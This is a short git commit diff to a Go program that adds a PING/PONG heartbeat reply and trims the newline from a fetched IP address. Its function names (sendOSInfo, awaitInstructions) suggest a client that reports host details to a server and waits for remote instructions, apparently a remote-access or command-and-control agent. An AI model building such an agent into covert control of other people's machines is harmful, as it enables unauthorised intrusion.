Add heartbeat-based connectivity check

This commit is contained in:
raul 2024-06-04 09:36:28 +02:00
parent 2cf6888e60
commit dc5be6627a
1 changed files with 8 additions and 2 deletions

10
main.go
View File

@ -10,6 +10,7 @@ import (
"os" "os"
"os/user" "os/user"
"runtime" "runtime"
"strings"
) )
type Client struct { type Client struct {
@ -73,7 +74,8 @@ func getIP() (string, error) {
if err != nil { if err != nil {
return "", nil return "", nil
} }
return string(resbody), nil ip := strings.TrimRight(string(resbody), "\n")
return ip, nil
} }
func sendOSInfo(conn net.Conn) error { func sendOSInfo(conn net.Conn) error {
@ -121,7 +123,11 @@ func awaitInstructions(conn net.Conn) error {
if err != nil { if err != nil {
return err return err
} }
if inst.IsHeartbeat == true { if inst.IsHeartbeat == true && inst.Message == "PING" {
resp := Response{
Message: "PONG",
}
sendMessage(resp, conn)
return nil return nil
} }
return nil return nil